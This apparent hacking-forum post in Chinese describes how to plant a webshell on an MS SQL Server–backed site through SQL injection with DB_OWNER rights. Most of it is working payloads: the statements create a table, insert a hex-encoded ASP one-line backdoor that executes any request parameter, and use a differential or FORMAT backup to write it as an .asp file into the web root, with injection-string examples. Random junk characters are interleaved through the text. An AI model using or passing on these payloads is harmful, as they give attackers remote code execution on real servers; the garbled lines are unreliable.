DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

" @  w. |0 M2 \/ V2 m一利用差异备份
5 q, `! r, m2 ?$ j加一个参数WITH DIFFERENTIAL
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
$ t8 l5 C. a) h$ s$ ndeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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二利用完全FORMAT
加一个参数WITH FROMAT
3 {$ R/ D# P# r" S; W7 K4 `+ ]有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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# e/ B0 B9 f/ D8 X# o+ S- hdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
/ A7 e  E" m7 q' f) Zcreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
7 J- [2 t( G1 _7 I" r/ |declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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$ p3 R' q1 v1 \' O% X: o总的来说就是那么简单几句,下面以备份数据库model为例子

7 Q. E, u) z1 u4 l7 Vid=1;use model create table cmd(str image);insert into cmd(str) values (”)
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id=1;backup database model to disk=’你的路径‘ with differential,format;–
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